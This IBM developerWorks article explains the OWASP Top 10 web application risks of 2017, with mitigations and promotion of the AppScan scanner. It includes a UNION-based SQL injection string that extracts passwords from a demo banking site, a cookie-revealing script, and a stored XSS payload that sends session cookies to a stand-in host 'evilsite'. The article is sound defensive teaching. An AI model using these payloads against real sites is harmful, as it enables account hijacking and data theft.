Contents


Scan your app to find and fix OWASP Top 10 - 2017 vulnerabilities

Are you finding all possible vulnerabilities and addressing them?

Comments

Editor's note: This article has been updated to reflect the OWASP Top 10 Application Security Risks - 2017 list.

Web applications are at the forefront of the cloud computing revolution, and steadily replacing the traditional OS-stacked desktop applications. It is easy to understand why, as web browser-based applications are universally accessible in a world where global customers and the company workforce carry connected mobile devices in their pockets that can instantly use them. Web apps are proven to be far more cost effective to develop, quicker to release, and easier to maintain than the applications of old. And their constant network connectivity allows for real-time data, enabling far greater application functionality and management capabilities than ever before.

Today’s modern, cloud-powered web apps are limitless in their sophistication and power, and are increasingly providing essential functions within businesses and our personal lives. Whether online banking, making a doctor’s appointment, filing a tax return, or booking a vacation, web apps are at the very forefront in providing essential services and managing confidential, financial, and personal data records. Which is why it is imperative for modern applications to be resilient and secure.

Vulnerabilities are created when developers either make coding errors or do not grasp the importance of using robust coding techniques.

Given the increasing sophistication of web apps, developing code is now more complicated than ever before. The more complicated the code and sophisticated the application functionality, the greater the risk of coding flaws that can then cause security vulnerabilities. Application vulnerabilities face exploitation by relentless groups of malicious actors: Cyber criminals who are bent on profiteering from data theft and blackmail; hacktivists who seek to cause organizations' reputational damage, havoc and self notoriety; and even nation-states that covertly spy and cause mass outages to essential services. The cyber threat steadily grew in recent years, and hardly a day goes by now without a major hack or data breach in national media headlines.

The data that is managed by applications is subject to a growing number of stringent privacy laws and regulations, whether the European Union’s General Data Protection Regulation, PCI DSS, Financial Conduct Authority, or Sarbane-Oxley—all carry significant financial sanctions for any data compromise that's caused by weak application security.

Web app security

From the moment a web application is made available online until the day it is taken offline, it is open to constant attacks. Whether specifically targeted by an individual or group, or by randomly automated malicious ‘bots,’ expect every aspect of an online web app to be continually probed for security weakness. Assuring the application’s security is essential prior to its release and on an ongoing basis thereafter.

Securing the network layer (hosting) of web apps is a well-trodden path and is a fairly straightforward process to achieve and continually assure with regular patching and monitoring. However, a network firewall has little effect in securing a web application, and hackers know the Achilles Heel of online security weakness is at the application layer. Application vulnerabilities that are caused by coding errors and weak coding techniques continue to be regularly exploited by hackers and were the cause of many of the largest data breaches in recent times.

In September 2017, Equifax announced that hackers stole 145 million of its customer records. Hackers exploited a known security weakness in the Equifax’s web-application hosting platform. In October 2015, UK telecom company TalkTalk had 157,000 customer records stolen via a web application SQL injection attack orchestrated by teenage hackers. This serious data breach was reported to have cost TalkTalk over £42 million and the loss of 100,000 customers, and resulted in a public £400,000 fine by the UK’s privacy watchdog. In March 2008, Heartland Payment Systems had 134 million credit card details stolen by a hacker, again due to the exploitation of web application vulnerabilities through SQL injection attacks.

Neglecting web app security can rock the largest enterprise to the smallest business (and individual) down to the core. Website defacements can lead to embarrassing media coverage and reputational damage, but it is often mass personal data theft that proves the most costly and detrimental to organizations. Customer data loss typically means facing the full brunt of negative media scrutiny, followed by legal repercussions, and regulatory sanctions that can run into the millions of dollars and even cause a sharp drop in share price. And there are the many hidden costs of mopping up after an attack, forensic investigations, system and application outage time, and the frantic recoding of the web app—which all come with a high price tag. Prevention is vastly more cost effective than trying to cure active application security failings. And adhering to software development best practices, such as those listed in the OWASP Top 10, will significantly reduce your risk of being susceptible to successful cyber attacks.

Bad code is the root cause of most web app breaches

The majority of data breaches lies within the application code that is written by developers. Vulnerabilities are created when developers either make coding errors or do not grasp the importance of using robust coding techniques. For instance, writing code that sanitizes input field values to only allow the application to accept and process the expected characters. This is a simple enough coding technique, but if missed can allow an attacker to take advantage of an input field to execute a SQL database instruction. The hacker can then return the entire database of customer information, including names, email addresses, and even credit card numbers. Such vulnerabilities are easy pickings for cyber criminals, as they can quickly monetize the information on the underground markets of the dark web. To avoid damaging security flaws, software developers need to understand the security risks and be instructed on how to write secure code where necessary, and applications must be robustly tested for the present of application layer vulnerabilities.

OWASP Top 10 — Web app security best practice

The Open Web Application Security Project (OWASP) is an open source community, formed in 2001 that freely produces guidance on application security risks. OWASP maintains the OWASP Top 10, a list that identifies the most critical application security risks. The list is regarded as industry best practice in preventing web app vulnerabilities, and is referenced by major security organizations and security regulations, such as PCI DSS, FTC, MITRE, and most web app-penetration testing providers.

The OWASP list is ordered by the most critical vulnerability type first, and the list is updated on a 3-4 year cycle, with the latest Top 10 list that was released in November 2017. While the OWASP list does not include all application vulnerabilities, the Top 10 vulnerabilities that are listed by OWASP are by far the most common application failings that are currently exploited by malicious cyber criminals.

1. Injection

Injection flaws are always one of the most critical and commonplace security vulnerabilities for web applications. So it is no surprise that injection tops the OWASP list. There are various injection flaw types, but by far the most infamous is SQL injection, which has been successfully exploited by hackers for well more than a decade. SQL injection involves an attacker appending SQL database commands within an input field. If the web application code does not sanitize the input, it can allow SQL commands to be executed on the web server, allowing an attacker to bypass network DMZ security, and directly interrogate the back-end database. With SQL injection, an attacker is able to return and steal tables of information, change records, or even delete the entire database.

Example of a simple SQL injection attack

The following example was performed against a vulnerability-testing website from IBM: http://www.altoromutual.com. The company, Altoro Mutual, is fictitious, but the attack method that's demonstrated is real and is one of the most common techniques that are used by hackers to steal web application-controlled data on mass. See the following figure below.

The example web app provides a function to allow a user to list transactions between specific dates. The date input field does not sanitize the value entered, so it is vulnerable to a SQL injection attack. The following input value injects a command that returns the contents of the database fields, including account user names and passwords: 1/1/2010 union select userid,null, username+' '+password,null from users--.

Figure 1. Web app returning data following submission
Image shows  a web app returning data following submission
Image shows a web app returning data following submission

The first part of the entered value in the field is the date, which is the expected value by the application. This ensures that the application processes the date data together with the rest of the injected command. Following the date the term "union" signals the start of the SQL command. It is essentially saying "Here is the expected date and ...." Through trial and error, the attacker is able to work out the name of the user account table, called users, and the number of fields within the user's table. The attacker then uses this information to write a SQL select command, which instructs the return of record data from the user's table. The table information, including account user names and passwords, is displayed within the web page's transaction form.

This is a basic example of SQL injection. In the real world, injection attacks are far more sophisticated, with hackers using specialist tools, helping them automate their attacks.

2. Broken authentication and session management

The second most critical vulnerability on the 2017 OWASP list relates to how the web application authenticates and protects each user web session. There are several potential vulnerabilities with authentication and session management if not managed correctly by the application; one of the most common is session hijacking.

Session hijacking

An attacker may seek to steal (hijack) a web session by learning a victim's secret session ID. Knowing a user's session ID can allow an attacker to impersonate the user's authenticated connection with the web server, and to compromise the user’s account. If the web app manages session IDs poorly, such as displaying a session ID within a URL instead of using a cookie, it can be a fairly simple for an attacker to swipe the session ID by tricking the user.

Even when web apps use cookies to store session IDs, attackers still seek to obtain session IDs directly from the user's locally stored cookie files, by tricking users into running covert scripts. A simple script can reveal the session ID stored within a cookie — for example, typing the following script in a vulnerable search field reveals the session ID: <script>alert(document.cookie)</script>.

Figure 2. A sample script can reveal a session ID stored in a cookie
Image shows that a sample script can reveal a session ID stored in a cookie
Image shows that a sample script can reveal a session ID stored in a cookie

Secure coding techniques and modern developer frameworks can be used to beef up application authentication and session management. These include combining the source IP address of the user with the session ID and requiring user re-authentication before allowing any changes to key account details, such as changes to passwords and email addresses. Changes like these are a common first action by hackers upon hijacking a web session, but forcing re-authentication terminates the hijacked session — a simple coding technique to reduce risk.

Terminating sessions after a timed period of user inactivity is another simple coding technique that should not be overlooked. For example, once a user hits a time limit of five minutes of website inactivity, the application terminates the session, forcing the user, and any attacker, to re-authenticate when they want to continue. This is another simple measure that reduces the risk of session hijacking and is a technique you will experience with most online banking web apps.

3. Sensitive data exposure

Sensitive information, such as personally identifiable information (PII), medical data, and financial records, must be safeguarded by the application to prevent data theft and malicious modification, and unintentional unauthorized access and accidental modification. Applications should be designed and developed to utilize robust access control management and industry-recognized encryption algorithms with encryption key management functionality, to ensure sensitive data is protected while in transit and while at rest, including when data is exchanged between the application and a user’s web browser.

To ensure applications are developed with the appropriate level of security and functionality to prevent sensitive data exposure within the Software Development Lifecycle’s design stage, include a sensitive data impact assessment.

Sensitive data impact assessment

A sensitive data impact assessment starts with documenting and evaluating all the data that is intended to be accessed and processed by the application, and then assigning a data type classification (such as personal data, financial data). Following this, the application’s security controls and functions should be reviewed by a subject matter expert for each data classification identified. For instance, if the application is intended to process PII, the review should involve either a Data Privacy Officer or a data protection legal expert to ensure the application’s security controls and measures complies with data protection laws—which, in the case of data protection, varies from country to country.

Application testing is the other key element in preventing sensitive data exposure, using application security vulnerability scanning tools, such as IBM Rational AppScan, will help to ensure the application does not expose any sensitive data.

4. XML external entity (XXE)

Applications that accept XML are at risk of injection attacks, if the XML parser not sanitize and validate the externally provided XML input. Such injection attacks can lead to the disclosure of sensitive data, denial of service attacks, server-side request forgery, remote code execution, and even be used to perform network port scanning of the application hosting server.

To prevent XXE attacks, disable XML external entity and DTD processing on all parsers that are used by the application, and use “whitelisting” input validation, filtering or sanitization—this will prevent maliciously injected XML code that is processed by the application when placed within XML documents and headers by attackers.

It is also essential to ensure the latest XML processors, libraries, and SOAP used by the application are patched to the latest versions available. Updated versions of software and libraries are regularly released by vendors to resolve newly discovered security flaws. Attackers are aware of the organizations that do not patch their systems proficiently and are quick to act in taking advantage of newly discovered vulnerabilities.

Deploying a Web Application Firewall (WAF) to block malicious XML input can provide an additional level of defense in preventing XXE attacks.

5. Broken access control

Access control security weakness can lead to the unauthorized disclosure, editing, and deletion of sensitive data. User authentication is not enough to prevent a lower-level privileged user from gaining higher-level privileged account functions and unauthorized access to sensitive data. Poor design or misconfiguration of data objects, such as file, directory, and database key, can result in lower-privilege users being able to bypass application access controls by changing parameter values to directly refer to objects.

In the following example in the figure below, we see a broken access control attack. After the attacker successfully authenticates with the application by using a low-level privilege user account, the attacker changes the URL reference and is able to access the application’s administration page.

Figure 3. Broken access control example
demo main and admin
demo main and admin
demo main and admin
demo main and admin

Attackers attempt to access privileged account functions by guessing the calls of the application’s higher functions and URLs, and often automate such attacks by using scripts.

Developers can safeguard against such attacks by ensuring access control checks are invoked with all user access to objects. Setting permissions to all non-public resources to “deny all” by default. And ensuring web server directory listings are locked down and metadata is not present at the web server’s root directory.

6. Security misconfiguration

Security misconfiguration can occur with any of the web application components and dependencies, including with the platform (operating system), web server (Struts, APS.NET), libraries, and databases. Common issues include leaving unnecessary services running, not changing the default administrator credentials, and not adequately restricting server directory listings and file permissions from public access. A favorite of hackers is the mishandling of error messages by applications.

Figure 4. Error messages provide hackers with vital clues
demo main and admin
demo main and admin

Not disabling application error messages provides an attacker with the information to better understand the application and database structure, which in turn aids an attacker in their trial-and-error hacking approach. In the example, the error message that is returned by the application informs the hacker the name of the table is correct, but the number of table fields guessed within the SQL injection command was incorrect. Therefore, the hacker keeps guessing the number of database fields with additional SQL commands by using a script until the error message confirms a correct guess. Now the attacker knows the name of the table and the number fields it has, the attacker can perform more sophisticated SQL injection commands to steal or change the data within the table.

In addition to disabling all error messages, ensure all components that are involved with web application hosting are hardened and regularly patched. Use a network vulnerability scanning service and web application vulnerability scanner to check that the application-hosting environment remains secure.

7. Cross-site scripting (XSS)

Cross-site scripting (XSS) is another common web app attack that has been around for many years. If a web app is vulnerable to XSS, an attacker can introduce a malicious script within a web page, which executes once the page is accessed by visitors.

XSS attack example

In this example, the web application provides the visitor with the ability to post a question or comment about company products. The comments field is vulnerable to XSS. The example text comment (This is a great product <script>document.write('<img scr=http://evilsite/'+document.cookie>');</script>) inserts an XSS script onto the page, which will attempt to steal each visitor's session ID.

In the example, the comment field allows the insertion of HTML code. After the comment is posted, the text comment and the XSS code are appended into an html of the product’s website.

Figure 5. Example review comment that inserts an XSS script onto a web page
Images shows example review comment that inserts an XSS script onto a web page
Images shows example review comment that inserts an XSS script onto a web page

Visitors to the product’s website would then observe the comment "This is a great product," but have no sight of the malicious HTML script, which is executed by their web browser and sends the user’s cookie information (including the session ID) to the attacker's website, “evilsite.” The attacker can use the stolen session ID to hijack the victim's web session and to compromise the user’s account. Attackers use such tactics to enable them to steal sessions from thousands of user accounts at a time.

By default, most modern browsers protect against XSS attacks. For instance, Internet Explorer defaults in a protection mode, which prevents XSS scripts from executing when present in website pages. However, XSS still remains a serious application vulnerability, given that some users are still using outdated web browsers.

8. Insecure deserialization

Serialization is the process of converting an application object state into binary data or text data, and deserialization is opposite process, creating an object state from binary data or text data. The function is used by applications to allow object states to be efficiently shared or stored. However, the deserialization process can be taken advantage of by hackers, by creating malicious deserialized objects that can cause remote code execution and data tampering upon serializing by the application.

Distributed applications and APIs that use object serialization from untrusted sources are particularly prone to deserialization attacks.

To prevent deserialization attacks, the application should be configured to not accept any deserialized input from untrusted sources, or to only use serialization mediums with primitive data types. If those measures are not possible, enforce constraints types during deserialization ahead of object creation, run deserialization in low privilege environments, such as temporary containers and restrict network connectivity to servers that deserialize. Hostile object creation and data tampering can also be prevented by using encryption or integrity checks such as digital signatures.

9. Using components with known vulnerabilities

All web applications rely on various software components that are developed and provided by third parties, both open source and commercial. It is important to document all third-party software components that are used by the application in a software asset list, which includes the software version number. Then implement a procedure to continually monitor vendor websites and software vulnerability alerting sources, such as CVE & NVD, for notifications of new security vulnerabilities and for releases of new versions or patches that address security vulnerabilities.

For instance, the OpenSSL library is an open source web application component used to manage many website’s encrypted sessions (https). In April 2014, several versions of the OpenSSL library were identified as having a critical security vulnerability: CVE-2014-0160, referred to as the Heartbleed bug. Organizations that use a documented software asset list and monitoring vulnerability-alerting services, were quickly aware of the Heartbleed vulnerability, and instantly knew whether or not any of their web applications were using a vulnerable version of OpenSSL. They were then able to take quick actions to upgrade to secure versions of OpenSLL, where required.

Ensuring that third-party web app components are free from known vulnerabilities requires a continued process of monitoring for notification of new security vulnerabilities and new releases of security patches and a program of regular vulnerability scanning.

10. Insufficient logging and monitoring

A sufficient level of logging and monitoring ensures that organizations are quickly informed and can react to cyber attacks against the application, whether they are successful or not.

If logging and monitoring is inadequate, attacks can go undetected for days, months, and in some cases even years.

Avoiding detection allows attackers to steal larger volumes of data and gives them the time to experiment with more sophisticated and damaging attacks. Detection avoidance also means that stolen data maintains at a higher value to cyber criminals, as data owners are unaware their data was compromised and they are unable to adopt counter measures or provide warnings to help prevent stolen data and account credentials from exploitation.

Enabling a thorough and detailed level of system audit logging provides essential intelligence for incident response and forensic investigations. Audit events are centrally aggregated, analyzed, and filtered with smart-automated monitoring tools that provide incident-response and management teams with the intelligence to quickly detect and understand the causes of security incidents, and to rapidly contain and defend against a cyber attack in real time.

In additional to applications, it is also important to ensure APIs are monitored for suspicious activity.

The following measures are recommended with audit logging:

  • Use a separate and dedicated security-hardened server-platform to capture and store audit log events. Use either syslog or a commercial audit logging solution to centrally store, anaylze, and monitor audit log events.
  • Use network time synchronization technology, Network Time Protocol (NTP), to ensure all system clocks on all servers, including the audit log server, are continually maintained to the exact same time. This provides an accurate timeline of events when analyzing audit logs collated from multiple systems—this is key information for incident investigators. It also allows sophisticated automated monitoring tools and intrusion detection/prevention systems to spot cyber attacks by analyzing patterns of events that occur across multiple systems in real time.
  • Ensure the audit log tool and server uses strong access control based on a job-related need, as attackers, which may well include maliciously minded internal staff, often attempt to alter or delete audit logs to hide their actions.
  • Enable and capture audit log events to include all:
    • Successful and failed access to systems, data and applications.
    • Input validation events.
    • Error messages.
    • Changes to the system configuration.
    • High-value transaction events.
  • Each audit log event should detail:
    • A user account identification where possible.
    • The type of event.
    • A time and date the event occurred.
    • A success or failure indication.
    • The origin and identity of any data or system component involved.
    • Network layer details where possible (source & destination IP addresses, ports used).
  • Keep audit log events for at least one year, and have at least three months of audit data kept immediately available to aid rapid incident investigations.

Consider the following measures with security alert monitoring:

  • Prepare to respond to cyber attacks by creating a formal incident response plan, by doing the following:
    • Document each member of the incident management team’s responsibilities and contact details. Ensure that team members are familiar with their expected duties within the team.
    • Document the incident response procedures for specific types of cyber attacks.
    • Ensure any potential business impact and losses due to security incidents are kept to a minimum by regularly risk-assessing business resilience. Include business recovery and continuity procedures as part of the incident response plan and test regularly.
    • Test the incident response plan and the incident management team’s ability on a regular basis by simulating various cyber attack scenarios.
    • Ensure “lessons are learned” from all test simulations and actual incidents, and update the incident response plan accordingly.
  • Given web applications are "24/7" in nature, and attacks can occur at any time, designate specific personnel to be available on a "24/7" basis to monitor and to respond to security alerts.
  • Use an alert-monitoring tool to automatically analyze and communicate alerts by email and/or SMS to the designated alert-monitoring staff.
  • Determine the types of security events and alerts, which will generate staff alert notifications, and will require responsive staff action. Make time to baseline the audit log events and then set the appropriate thresholds for generating alerts when suspicious activities are detected. Ensure that alerts are notified and responded to by staff within an acceptable time period.
  • Regularly verify the log monitoring analysis and alert thresholds, and the communications channels used for alerts.

Avoiding unnecessary costs in web application vulnerability mitigation

Developing and releasing web applications with vulnerabilities is expensive and time consuming. Even fixing a single line of code post-release can equate to hundreds of hours of labor in rewriting and retesting. Testing and resolving code vulnerabilities early within the application development lifecycle is the most efficient and cost-effective method.

Using third-party penetration testing has its place in proving the web app is secure, but using penetration testing and subsequent retesting as a process to find and mitigate web app code vulnerabilities is time consuming and a needless expense.

Vulnerabilities should be weeded out much earlier in the software development cycle. When developers go wrong with secure coding, they need to be properly educated to ensure that such errors are not repeated.

The average penetration test report provides very little education for developers and code writers.

Developer education

AppScan concisely explains any web app vulnerability it finds, including providing the full details of the actual test it conducted to find the vulnerability — a degree of detail seldom found in a penetration test report. AppScan is particularly helpful when it comes to explaining vulnerabilities to developers, educating those who write the code using simple text explanations and video tutorials, and even providing examples of code developers can copy to resolve the vulnerability. This level of information and assistance to developers not only helps them better understand the importance of web app security but it educates developers to code better, reducing the likelihood of future vulnerabilities within the web app.

Ensuring web app security

IBM AppScan has extensive reporting capabilities and comes with various industry-standard, application vulnerability report types, which can be used to provide evidence and assurance that a web app is secure. Delta Analysis reports can prove web app vulnerability fixes, while reports against the OWASP Top 10 and PCI DSS demonstrates the security of developed web apps to auditors and customers.

Conclusion

Underestimating the importance of web app security is a ticking cyber time bomb. A single web app vulnerability can cause a monumental data breach that can shake even the largest of businesses down to its foundation, leading to worldwide negative media headlines, hefty financial penalties, and the loss of public trust. Investing in assuring the security of web applications by adopting industry best app-development practices, like the OWASP Top 10, and using web app vulnerability scanning tools is an essential software development practice.


Downloadable resources


Related topics


Comments

Sign in or register to add and subscribe to comments.

static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=1
Zone=Security
ArticleID=974146
ArticleTitle=Scan your app to find and fix OWASP Top 10 - 2017 vulnerabilities
publish-date=12122017